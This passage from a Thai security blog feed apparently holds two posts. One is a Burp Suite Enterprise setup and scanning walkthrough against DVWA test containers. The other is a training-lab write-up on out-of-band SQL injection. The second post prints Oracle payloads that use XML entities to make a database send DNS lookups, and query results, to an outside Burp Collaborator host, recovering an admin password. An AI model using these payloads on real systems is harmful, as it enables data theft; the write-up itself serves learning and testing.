src="https://cdn-images-1.medium.com/max/503/1*sEl3cnN2UDlCsGTTTdtH5w.png" /><figcaption>Select Database</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*2VxdiJbBUQEP9XRDDb1d_Q.png" /><figcaption>Create Admin User</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*a4hhgHxk20V3NC06oq0wKQ.png" /><figcaption>Completely Setup</figcaption></figure><p>และพอดีผมมีโอกาสได้ทดลองลงบนเครื่อง Linux เลยขอแชร์ installation.log ไว้นะครับโดยลำดับขั้นตอนการเลือกก็จะเหมือนแบบภาพข้างบนเลยครับ</p><pre><a href="https://gist.github.com/idealphase/d81099e0e216055d64864fe97128b875">https://gist.github.com/idealphase/d81099e0e216055d64864fe97128b875</a></pre><h3>0x05 Post installation &amp; import license</h3><p>หลังจากนั้นเราก็ลองเรียกหน้าเว็บเพื่อดูว่าเราลงเสร็จจริงหรือเปล่า?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JsIvy_e6W43i3T6fFes52A.png" /><figcaption>Complete installation</figcaption></figure><p>ถ้าเห็นหน้าแบบนี้ก็คือลงเสร็จแล้วครับ! ก็ให้เรากรอก username password ตามตอนที่เราใส่ไว้ตอนติดตั้งเลยครับ และหลังจากนั้นตัวหน้าเว็บจะถามหา License ครับ เราก็ Login ไปที่หน้าเว็บของ PortSwigger เพื่อนำ License ที่มี มา import ใส่ก็จะเริ่มใช้งาน Burp Suite Enterprise ได้ครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lysvg8VYk4MszFod-IR-XQ.png" /><figcaption>Import License key</figcaption></figure><p>หลังจาก import License key แล้ว ก็จะมีเมนูโผล่เพิ่มมาดังนี้ครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kibFkdru0Kh0W0U86n8GoQ.png" /><figcaption>Successfully import license and found other menu</figcaption></figure><h3>0x06 Usage</h3><p>ขั้นตอนการทดสอบการใช้งาน ผมจะตั้งเว็บไซต์ที่มีช่องโหว่ขึ้นมา 2 เครื่อง (เพื่อทดสอบการเรียก Agent จาก pool มาสแกน 2 เว็บไซต์พร้อมกัน) โดยผมจะเลือกใช้ตัว DVWA (<a href="http://www.dvwa.co.uk/">Damn Vulnerable Web Application</a>) ซึ่งเป็นเว็บที่มีช่องโหว่รูปแบบต่างๆให้เราสามารถเข้าไปเล่นเพื่อให้รู้จักกับช่องโหว่แบบต่างๆ โดยเราจะลองมาดูว่ากว่าเราจะได้ Report จาก Burp Suite Enterprise เราต้องทำอะไรกับมันบ้าง?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rCDXUcpe1tt4Y5GtWtG_iw.png" /><figcaption>Test environment</figcaption></figure><p>Burp Suite Enterprise มีเมนูให้เราเล่นเยอะพอสมควร ดังนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/283/1*TKrUlXTgq0Nz59gv7oFEiQ.png" /><figcaption>Menu</figcaption></figure><p>1.การสร้าง user ใหม่เพื่อหลีกเลี่ยงการใช้งาน user administrator (most privileged user)</p><p>user ในระบบจะแบ่งออกเป็น 2 ประเภคได้แก่<br>&gt;&gt;1. password; ใช้งานผ่านWeb-UI โดยกรอก username และ password โดยตอนสร้าง user ใหม่ถ้าเรา config ระบบ e-mail แล้วก็จะมี e-mail ส่งไปยัง e-mail ที่กรอก แต่ถ้ายังไม่ได้ config ระบบ e-mail ก็ให้ copy link ไปให้ user นั้นเพื่อเข้าใช้งานระบบ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*UBstB3I2zwRUJC1z_sUHNg.png" /><figcaption>Create password login type user and got password link</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-wTsEF1kjBsCit2ZgqaC_Q.png" /><figcaption>user open passord link and click copy password</figcaption></figure><p>&gt;&gt;2. API; ได้จะเป็น API key 32 หลัก เช่น PIVDAF0V7TtLROC0yVGg8DDBMaEVpQk8 ไปกรอกตอนเรียกใช้ API<br>โดย 1 user ไม่สามารถเลือกทั้ง 2 ประเภทได้ ต้องเลือกอย่างใดอย่างนึงเท่านั้น</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*78rJzEdQKSQDnqGMEXRacQ.png" /><figcaption>Create API key login type user</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*yPqoCqeY3-jO9tW8Q9Ob4A.png" /><figcaption>Got API key</figcaption></figure><p>2.การเตรียมและตั้งค่า Web Asset ที่ต้องการ scan</p><p>ผมจะใช้งาน DVWA จากใน docker โดยมีคำสั่งดังนี้</p><pre>docker pull vulnerables/web-dvwa<br>docker run -d -p 9001:80 --name dvwa1 vulnerables/web-dvwa<br>docker run -d -p 9002:80 --name dvwa2 vulnerables/web-dvwa</pre><p>ทดลองเรียกหน้าเว็บ DVWA และทดลอง login ด้วย default credential admin:password (ซึ่งในหัวข้อถัดไปมีการทดลองสั่ง scan แบบ Credential scan ด้วย) ไม่งั้นจะตัว scanner หรือ agent จะมาติดที่หน้า logic ของ DVWA และจะสแกนไม่ค่อยเจออะไร</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*kUNXDwsxVKm3siJDbuharw.png" /><figcaption>DVWA login page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qwu5EkgVYleA5UV--qWXyg.png" /><figcaption>Successfully login and found DVWA main page</figcaption></figure><p>หลังจากทดสอบเรียกหน้าเว็บที่เราต้องการสแกนแล้ว ก็ถึงเวลากลับมาตั้ง Web Assetใน Burp Enterprise ทำได้โดยการคลิกปุ่ม Sites ที่มุมขวาบนและทำการสร้าง Folder 2 อันเพื่อแยก site DVWA1(port 9001) และ site DVWA2(port 9002) และกรอกข้อมูลเช่น URL เป้าหมาย, Credentials, และเลือกลำดับของ Configuration ที่จะใช้ในการ scan site นี้โดยผมจะเลือกใช้ชุด “most complete scan possible” จากคำแนะนำของ support ที่กล่าวในลิ้งนี้ <a href="https://support.portswigger.net/customer/portal/questions/17455439-explain-scan-configuration-options-in-burp-enterprise-">https://support.portswigger.net/customer/portal/questions/17455439-explain-scan-configuration-options-in-burp-enterprise-</a></p><p>นั้นคือ Crawl Strategy — most complete แล้วต่อด้วย Audit coverage — thorough, แล้วปิดท้ายด้วย Minimize false negatives ดังรูปประกอบข้างล่าง และผมได้แปะรูปตัวเลือกอื่นๆไว้เช่นกัน เพราะแต่ละ Sites ก็จะต้องเลือก Default scan configuration ที่เหมาะสมด้วย (tread-off ระหว่าง ระยะเวลาในการสแกน กับ ความละเอียด)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*oMWkdAKh8jrD9dYCyn7zfQ.png" /><figcaption>Creating site and fill URL, Credential, Default scan configurations</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*KDxy5NF1YnS9tuNkUhzT2w.png" /><figcaption>Scan configuration Options</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*BgITRqaYBIylOqH5nQRx3A.png" /><figcaption>Create folder and site for vulnerable web</figcaption></figure><p>3.การตั้งค่าสิทธิ์การเข้าใช้งาน Web Asset ตาม Group (Restrictions on sites) และตั้งการกำหนด Role เพื่อบอกว่าแต่ละ role ทำอะไรกับระบบได้บ้าง</p><p>โดย Default ถ้าเราติดตั้ง Burp Suite Enterprise มาจะมี user, group และ role ดังนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*WtW2_BfSNpnqkLKnu_O6BA.png" /><figcaption>Default Users</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*DgWMir6MVG5-SK2ZX9G1qA.png" /><figcaption>Default Groups</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*_9qMimgnD-_JSPA1cSqJaA.png" /><figcaption>Default team</figcaption></figure><p>โดยเราสามารถสร้าง Roles เพิ่มมาในระบบได้ และสามารถ Customized ได้ว่า Roles ใหม่ที่จะสร้างสามารถให้ทำอะไรได้บ้าง ไม่ได้บ้าง (โดยในรูปผมเลือก Select all ก็จะเทียบเท่า Role Administrator นั้นเอง)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*1Dx82Vyte5MKlCJVvIa23A.png" /><figcaption>Create new roles</figcaption></figure><p>นอกจาก Roles ที่จะเป็นตัวกำหนดว่าแต่ละ user สามารถทำอะไรกับระบบได้บ้าง ยังมีมีฟังก์ชันนึงที่จะมาช่วยจัดการนั้นคือ Groups ซึ่งจะสามารถเลือก Site Restriction นั่นคือหลังจาก check สิทธิ์กับ Roles แล้วยังต้องมา check สิทธิ์กับ Groups ด้วยว่ามีสิทธิ์หรือเปล่า โดยผมได้สร้าง user มาทดสอบ 4 user ได้แก่ dvwa1_web, dvwa1_api, dvwa2_web และ dvwa2_api ลักษณะ login type ตามชื่อ user เลย และทดลองสร้าง Group 2 Group ได้แก่ DVWA1 และ DVWA2 และ configure แต่ละ Group ให้ตาม user และ site ที่สร้าง (ถ้าเราแบ่งหมวดหมู่ site แต่แรก แบ่งเป็น folder ไว้จะส่งผลทำให้เราจัดการกับขั้นตอนนี้ง่ายขึ้น)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*zPRkaebYCGT0Ap50vdXg2A.png" /><figcaption>DVWA1 Group Users</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/1*swVvJRuZWOxXbiYVA5YGcQ.png" /><figcaption>DVWA1 Group Site restrictions</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/266/1*j4FkwwQx8MKJMY8NAXTiYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*WQGiglOij6G_IbHIpHCITg.png" /></figure><p>จากนั้นทดลอง login ด้วย user dvwa1_web แล้วเข้าไปดูที่ Site ก็จะเห็นแต่ folder dvwa1 ดังภาพ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/206/1*idiWEBr9CWcbFKev0IGFlw.png" /><figcaption>User dvwa1_web in DVWA1 Group only see DVWA1 folder</figcaption></figure><p>4.การสั่ง scan ผ่าน web-ui และผ่าน REST API โดย CI (jenkin)</p><p>ตอนนี้ผมก็ login ด้วย user dvwa1_web ก็จะสามารถสั่ง scan ได้เฉพาะ Site DVWA1 ดังภาพ โดยเราสามารถตั้งค่าเวลาที่จะเริ่ม scan (schedule scan) หรือ แก้ไข scan configuration จากค่า default ตอนที่เราสร้าง site ได้ด้วยเช่นกัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*XxAostFhXpK-rBcH1_qd-A.png" /><figcaption>Can select site based on Group</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*5fKuXUc34PHbiWrjx_pi9Q.png" /><figcaption>New scan configuration</figcaption></figure><p>และเมื่อสั่ง scan ที่หน้า scan ก็จะขึ้นว่า Burp Suite Enterprise กำลังไปหา Agent ที่ว่างจาก pool เพื่อมา scan ดังภาพ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*8CqWhHG_cJxbrf1sMPb3KQ.png" /><figcaption>Waiting for agent</figcaption></figure><p>และเมื่อได้มี Agent จาก pool ว่างมา scan ก็จะเปลี่ยน Status เป็น scanning ซึ่งเราสามารถกดเข้าไปดูผลการ scan แบบ real-time ได้เลย ดังภาพ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*xsXc7mYFOADytUBRBk0VpQ.png" /><figcaption>Found assigned agent and start scan</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N61ACKSSzeirJffJfx1oTA.png" /><figcaption>scanning page</figcaption></figure><p>ระหว่างที่ปล่อย scan DVWA1 ไป เราก็มาดูว่าถ้าเราจะสั่ง scan ผ่าน CI หรือ REST API จะทำได้อย่างไร</p><p>เบื้องต้นถ้าเราเรียก /api/7wFIHld7vYSpqq6DKH4Y8FWSjVpWVcTZ <br>ตรงๆ (API key ของ user dvwa2_api) ผ่าน browser เราก็จะเห็นว่า user นี้มีสิทธิ์ทำอะไรบ้าง และยังมี toolkit ช่วยให้สร้าง curl command ที่จะสั่ง scan ได้ตามที่ต้องการดังภาพ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KZQUoFlkhMfbxEmz92jTkw.png" /><figcaption>Listing REST API based on group and role</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7cnRaGpytbisZRige4bXdA.png" /><figcaption>Toolkit for scan TEST API</figcaption></figure><p>สำหรับการใช้งานผ่าน Jenkins ทาง PortSwigger ก็มี Plugins มาช่วย Jenkin ที่มีชื่อว่า “burp-jenkins-integration-v1.0.7beta.hpi” ซึ่งเราต้อง “Upload plugins” เข้าไปและเรียกใช้งานดังนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*0Kx4TkuurerHi4Oa69SiYA.png" /><figcaption>Jenkins build</figcaption></figure><p>5.ผลการสแกน</p><p>หลังจากที่ไปดูการใช้งานผ่าน REST API ก็กลับมาดูผลการ scan หน้าตามันก็จะประมาณนี้ครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*gLhXNkUi3v6AMASE9GlgIw.png" /><figcaption>scan dashboard</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5vuOXBxz-MlOrdnZyOgSjQ.png" /><figcaption>scan detail</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UBthuydJ2uAza8Ik3rRo1Q.png" /><figcaption>vulnerability detail</figcaption></figure><p>และยังสามารถ export ออกมาเป็น file HTML เพื่อดูภาพรวมของการสแกนได้อีกด้วย สามารถโหลดมาดูตัวอย่างได้จากลิ้งข้างล่างนี้นะครับ</p><pre><a href="https://gist.github.com/idealphase/1544d35cb6bc000086d5f13a9542b785">https://gist.github.com/idealphase/1544d35cb6bc000086d5f13a9542b785</a></pre><p>และสุดท้ายผมก็ได้ใช้ user dvwa1_api เพื่อทดลองใช้ REST API ดึงผลการสแกนมาดังรูป</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pqOWskka9gaTIuqafeEp3w.png" /><figcaption>Toolkit creates curl command</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MEYvaLrQUr7b0GkWIm9Aqg.png" /><figcaption>task detail</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lWXCxjuYvC2bFjRXmUCqKg.png" /><figcaption>Vulnerability detail</figcaption></figure><h3>0x07 Conclusion</h3><p>ทั้งหมดนี้ก็เป็นสิ่งที่ผมได้จากการทดสอบ Burp Suite Enterprise ในครั้งนี้ครับ ถ้าหากข้อมูลผิดพลาดประการใดก็ขออภัยมา ณ ทีนี้นะครับ <br>กลับมาช่วงคำถามที่ถามค้างไว้ในตอนต้น<br>Q : มันจะมาช่วย penetration tester แบบผมได้มากน้อยเพียงใด?<br>A : ในมุมมองส่วนตัวของผม ผมมองว่า Automated DAST โดยเฉพาะโปรแกรม Burp Suite ที่เป็นโปรแกรมยอดนิยมและได้รับความยอมรับจาก pentester ทั่วโลก เมื่อมี solution นี้ขึ้นมา จะช่วยให้ Penetration tester ทำงานง่ายขึ้น เพราะโดยปกติ ส่วนตัวผมก็จะมีการใช้ Burp scanner อยู่แล้ว ถ้าหากเราสามารถเข้ามาอ่านผล หรือ เข้ามาช่วยจัดการเรื่อง false positive ใน Burp Suite Enterprise ก็จะทำให้ penetration tester ลดงานในส่วนของ scanner และนำเวลาที่เหลือใน timeframe ไปมุ่งทดสอบอย่างอื่น เช่นพวก Business logic ของ web หรือ การ Chain หลายๆช่องโหว่เพื่อหา impact ที่มากขึ้น เป็นต้น อันนี้เป็นความคิดเห็นของผมล้วนๆนะครับ ถ้าพี่ๆเพื่อนๆน้องๆ มีความคิดเห็นยังไงก็มาแชร์กันได้นะครับ :) ขอบคุณทุกท่านที่อ่านมาถึงจุดนี้ครับ บทความนี้อาจจะยาวไปหน่อย เน้นรูปล้วนๆครับ</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28db19b4f8be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[เรียนรู้วิธีใช้ Burp Collaborator กับช่องโหว่ Out-of-Band SQL injection บน Web Security Academy]]></title>
            <link>https://medium.com/@idealphase/%E0%B9%80%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%99%E0%B8%A3%E0%B8%B9%E0%B9%89%E0%B8%A7%E0%B8%B4%E0%B8%98%E0%B8%B5%E0%B9%83%E0%B8%8A%E0%B9%89-burp-collaborator-%E0%B8%81%E0%B8%B1%E0%B8%9A%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%AB%E0%B8%A7%E0%B9%88-out-of-band-sql-injection-%E0%B8%9A%E0%B8%99-web-security-academy-568e48df75be?source=rss-f6280327857e------2</link>
            <guid isPermaLink="false">https://medium.com/p/568e48df75be</guid>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[web-hacking]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[web-security-testing]]></category>
            <category><![CDATA[dns]]></category>
            <dc:creator><![CDATA[idealphase]]></dc:creator>
            <pubDate>Sat, 06 Jul 2019 16:56:13 GMT</pubDate>
            <atom:updated>2019-07-06T16:56:13.546Z</atom:updated>
            <content:encoded><![CDATA[<p>บทความนี้ผมจะกล่าวเกี่ยวกับการหัดใช้เครื่องมือที่มีชื่อว่า <strong>Burp Collabarator</strong> ซึ่งเท่าที่ผมลองหาข้อมูลจาก Google ดูแล้วพบว่ายังไม่มีคนกล่าวถึงเครื่องมือตัวนี้ซักเท่าไร สำหรับคนที่ยังไม่เคยใช้มัน เราลองมาทำความรู้จักมันไปพร้อมๆกันนะครับ</p><h3>Web Security Academy</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/0*8YMBWvKcjq2iSSl4" /><figcaption>ref: <a href="https://portswigger.net/blog/introducing-the-web-security-academy">https://portswigger.net/blog/introducing-the-web-security-academy</a></figcaption></figure><p>เมื่อช่วงเดือนต้นเมษายนที่ผ่านมา ทางบริษัท PortSwigger เจ้าของโปรแกรม Proxy ชื่อดังอย่าง “Burp Suite” ได้ประกาศเปิดโปรเจค Web Security Academy <a href="https://portswigger.net/web-security">https://portswigger.net/web-security</a> ที่เป็นเว็บไซต์ไว้สำหรับให้คนมาเรียนรู้ช่องโหว่ Web application ต่างๆได้ฟรี! เพียงแต่ต้องสมัครสมาชิกกับทาง PortSwigger.net ซึ่ง ณ ปัจจุบันที่ผมเขียนบทความนี้ ก็มีหัวข้อช่องโหว่ครอบคลุมถึง 7 หัวข้อดังนี้</p><p><strong>1. SQL injection</strong><br>2. Cross-site scripting<br>3. Cross-site request forgery (CSRF)<br>4. Server-side request forgery (SSRF)<br>5. OS command injection<br>6. XML external entity (XXE) injection<br>7. File path traversal (directory traversal)</p><p>โดยการสอนจะเป็นแบบให้อ่านเนื้อหา (บางหัวข้อจะมีวิดีโออธิบายประกอบด้วย) และเมื่อสิ้นสุดเนื้อหาจะมีเครื่องแลปส่วนตัวให้ผู้เรียนสามารถกดสร้างเครื่องแลปและเข้าไปทดลองเจาะระบบที่มีช่องโหว่ตามหัวข้อที่พึ่งอ่านมาได้เลย</p><p>ผมเลือกที่จะลองเล่นแลปช่องโหว่ SQL injection เพราะเป็นช่องโหว่ อันดับ 1 ใน OWASP Top 10 2017 และเป็นช่องโหว่ที่ผมอาจจะต้องเจอตอนสอบ OSCP certification ซึ่งปัจจุบันก็มีเครื่องมือในการทดสอบช่องโหว่ SQL injection ที่เป็นที่นิยมใช้กันได้แก่ “sqlmap” แต่ในการสอบ OSCP เขาจะจำกัดเครื่องมือที่ไม่อนุญาตให้ใช้ได้ระหว่างการสอบ ซึ่ง หนึ่งในนั้นได้แก่ sqlmap ผมจึงมองว่านี้แหละเป็นโอกาสที่ดีที่จะได้เรียนรู้ว่าจริงๆแล้ว เบื้องหลังการทำงานของเครื่องมือ sqlmap นั้นมีเทคนิคหรือวิธีการตรวจสอบช่องโหว่ SQL injection อย่างไรบ้าง</p><h3>Out-of-Band SQL injection ?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*t0A-ENqNDXN9uVIZz-wOzw.png" /><figcaption>ref: <a href="https://portswigger.net/web-security/sql-injection">https://portswigger.net/web-security/sql-injection</a></figcaption></figure><p>สำหรับช่องโหว่ SQL injection ตามบทเรียนของทางเว็บไซต์จะแบ่งออกเป็น 2 ประเภทใหญ่ๆ ได้แก่</p><ol><li>SQL injection <br>คือประเภทการโจมตีที่<strong>สามารถเห็นความแตกต่างของการแสดงผลที่หน้าเว็บไซต์ได้เลยว่ามีช่องโหว่หรือไม่มีช่องโหว่จาก input ที่เราพยายาม inject เข้าไป</strong> เช่น- 1.1 สามารถแสดงรายชื่อสินค้าทั้งหมดได้จากปกติแสดงแค่ 5 ชิ้น<br>1.2 สามารถ bypass หน้า login (ไม่จำเป็นต้องรู้ password ที่ถูกต้อง)<br>1.3 สามารถดึงข้อมูลจาก database อีก table มาแสดงผลได้ (UNION Attacks)</li><li>Blind SQL injection<br>คือประเภทการโจมตีที่ตรงข้ามกับประเภทที่ 1 นั้นคือเราจะไม่สามารถเห็นความแตกต่างของการแสดงผลที่หน้าเว็บไซต์ได้อย่างชัดเจน แต่เราจะ<strong>สามารถเห็นความแตกต่างก็ต่อเมื่อ input ที่เราพยายาม inject เข้าไป ตรงตามเงื่อนไขที่เราตั้งไว้</strong> เช่น <br>2.1 ข้อความต้อนรับสมาชิกเข้าใช้งาน จะแสดงที่หน้าเว็บไซต์ก็ต่อเมื่อ password ตัวแรกของ user administrator คือตัว ‘p’ (conditional response)<br>2.2 หน้าเว็บไซต์จะแสดง error Status code 500 internal server ก็ต่อเมื่อ password ตัวที่สองของ user administrator คือตัว ‘h’ (conditional errors)<br>2.3 web server จะตอบกลับมาช้ากว่าปกติ 5 วินาที ก็ต่อเมื่อ password ตัวที่สามของ user administrator คือตัว ‘a’ (time delays)</li></ol><p>มาถึงจุดนี้ ผู้อ่านอาจจะเกิดความสงสัยว่า <br>Q : ถ้าเราพยายาม inject เข้าไปทุกวิถีทางแล้วพบว่า<strong>ไม่มีความแตกต่างเลยแม้แต่นิดเดียวทั้งที่หน้าเว็บไซต์,ข้อความ error จาก server และ เวลาที่ server ตอบมาช้ากว่าปกติ </strong>หมายความว่าจุด (Entry point) ที่เรากำลังพยายามทดสอบนี้<strong>ไม่มีช่องโหว่ SQL injection หรือเปล่า?</strong></p><p>A : คำตอบคือ <strong>ไม่เสมอไป</strong> เพราะว่า มันยังมีอีกวิธีตรวจสอบนั้นคือ <strong>Out-of-Band SQL injection ซึ่งเป็นวิธีที่เราจะใช้คำสั่งของ database เรียกใช้งาน DNS protocol หรือ HTTP protocol (เว็บไซต์) </strong>หรือ<strong> SMTP protocol (อีเมล) </strong>ซึ่งโดยปกติแล้วจะนิยมใช้ DNS protocol มากกว่าเพราะว่า Production networks ส่วนใหญ่จะปล่อยให้ DNS traffic วิ่งออกมาสู่ Public Internet ข้างนอกได้มากกว่า HTTP traffic และ SMTP traffic</p><h3>Burp Collaborator ?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*XV5oXD0GY4hNyccwYn09EA.png" /></figure><p>เป็นเครื่องมือที่ติดตั้งมาพร้อมกับ Burp suite Professional ที่จะช่วยให้เราสามารถทดสอบว่ามีเว็บที่เรากำลังทำการทดสอบนั้นมีช่องโหว่ Out-of-Band SQL injection หรือไม่ โดยหลักการทำงานของ Burp Collaborator ก็คือ ทาง PortSwigger จะเปิด Server ที่มีการเปิดการใช้งาน DNS service, HTTP service, SMTP service รอที่ Public sub-domain แล้วถ้า input ที่เราพยายาม inject ไปทำให้ Application server ส่ง traffic ออกยัง Public sub-domain ดังกล่าวก็สามารถทำให้เรายืนยันได้ว่า เว็บนี้มีช่องโหว่ Out-of-Band SQL injection และทำให้ให้ผู้โจมตีระบบสามารถส่งข้อมูลไปยังเครื่อง Burp Collaborator server ได้ (เครื่องของ PortSwigger) ซึ่งเราสามารถตั้งเครื่อง Burp Collaborator server ของเราเองได้ ในกรณีที่ถ้าไม่อยากแบ่งปันข้อมูลสำคัญให้ทาง PortSwigger แต่ในบทความนี้ผมจะยังใช้ของทาง PortSwigger เพื่อการศึกษาการใช้งานนะครับ</p><h3>DNS look up &amp; DNS exfiltration</h3><p>*ทุกๆการเปิดหน้าต่าง Burp Collaborator client จะได้ sub-domain ใหม่เสมอและถ้าปิดหน้าต่างเก่าไปแล้วจะทำให้ไม่สามารถทดสอบ sub-domain นั้นได้อีกเลย</p><p>1. เปิดการใช้งานโปรแกรม Burp suite Professional</p><p>2. เลือกเมนู Burp -&gt; Burp Collaborator client</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/195/1*G2IjAuCftuKa0rJ3mAZcwQ.png" /></figure><p>3. กดปุ่ม Copy to clipboard เพื่อจะได้มาซึ่ง Public sub-domain ที่เราจะใช้ทดสอบ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Jwn6ygSPVgx4lmnGJdzMQ.png" /></figure><p>4. ทดสอบ sub-domain connection ด้วยคำสั่ง ping</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*sEDI6n8xovyxg3lWvOjBYA.png" /></figure><p>5. หาคำสั่ง DNS lookup จาก SQL injection cheat sheet <a href="https://portswigger.net/web-security/sql-injection/cheat-sheet">https://portswigger.net/web-security/sql-injection/cheat-sheet</a> โดยต้องเลือก Database type ให้ถูกต้องด้วย ในกรณีของผมเป็น Oracle ก็จะหน้าตา payload ประมาณนี้ <br>SELECT extractvalue(xmltype(‘&lt;?xml version=”1.0&quot; encoding=”UTF-8&quot;?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % remote SYSTEM “http://<strong>YOUR-SUBDOMAIN-HERE</strong>.burpcollaborator.net/&quot;&gt; %remote;]&gt;’),’/l’) FROM dual</p><p>และใช้ Burp Intercept ดัก packet แล้วส่ง DNS traffic ที่มี payload ในตัวแปร TrackingId ที่เราต้องการทดสอบ เป็น sub-domain ที่เราได้มาจากขั้นตอนที่ 3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Omr5CxxRtw2byREyXHQv4Q.png" /></figure><p>6. ตรวจสอบว่ามี connection มายัง sub-domain หรือไม่? จากหน้าต่าง Burp Collaborator client</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wHpCV0yjOc78qrRb-GGXvQ.png" /></figure><p>ณ จุดๆนี้เราก็สามารถยืนยันได้ว่ามีช่องโหว่ Out-of-Band SQL injection ขั้นตอนต่อไปที่เราจะทดสอบได้ก็คือการพยายามจะนำข้อมูลในระบบส่งกลับมายัง Burp Collaboration server ด้วย DNS traffic หรือเรียกว่าเทคนิค DNS exfiltration attack</p><p>7. หาคำสั่ง DNS exfiltration จาก SQL injection cheat sheet เดิมในข้อ 5 และ Database เป็น Oracle เช่นเคย จะมีหน้าตา payload ดังนี้</p><p>SELECT extractvalue(xmltype(‘&lt;?xml version=”1.0&quot; encoding=”UTF-8&quot;?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % remote SYSTEM “http://&#39;||(SELECT YOUR-QUERY-HERE)||’.<strong>YOUR-SUBDOMAIN-HERE</strong>.burpcollaborator.net/”&gt; %remote;]&gt;’),’/l’) FROM dual</p><p>และใช้ Burp Intercept ดัก packet แล้วส่ง DNS traffic ที่มี payload ในตัวแปร TrackingId เป็น sub-domain ที่เราได้มาจากขั้นตอนที่ 3 เช่นเคย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TOoHNNLez7jf-vsMMzez8A.png" /></figure><p>8. จากหน้าต่าง Burp Collaborator client ตรวจสอบ sub-domain ก่อนหน้าอีก 1 ชั้นก็จะพบ string “qybazy” เป็น password ของ user administrator (ผลของการ concat string ด้วย || ที่เรา inject ไปใน payload)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*62LNTh_WyIRMnh1W6dFHPw.png" /></figure><p>และสุดท้ายสำหรับแลปนี้ เราก็แค่นำ password ไป login เป็น admin ของ web นี้ก็สามารถเข้าใช้งานระบบเป็น administrator ได้แล้วครับ</p><h3>Summary</h3><p>ขอบคุณผู้อ่านที่เลื่อนลงมาถึงจุดนี้ ถ้าบทความนี้มีข้อผิดพลาดประการใด ช่วยรบกวนแจ้งผมมาให้ดำเนินการแก้ไขด้วยนะครับ ผมหวังว่าผู้อ่านจะได้ประโยชน์หรือความเกร็ดรู้จากบทความของผมนะครับ สำหรับใครที่หาแหล่งเรียน Web application hacking เว็บ <a href="https://portswigger.net/web-security">https://portswigger.net/web-security</a> ก็เป็นหนึ่งในตัวเลือกที่น่าสนใจนะครับ (สำหรับหัวข้อใหม่ๆที่ทาง PortSwigger ทยอย update ใครที่อยากได้หมวก baseball ที่มี logo Burp Suite เท่ๆปักไว้ <a href="https://twitter.com/WebSecAcademy/status/1143869246339977218">https://twitter.com/WebSecAcademy/status/1143869246339977218</a> เขามีกิจกรรมแจกหมวกสำหรับ 10 คนแรกที่ทำแลปเสร็จไวที่สุดด้วยนะครับ) 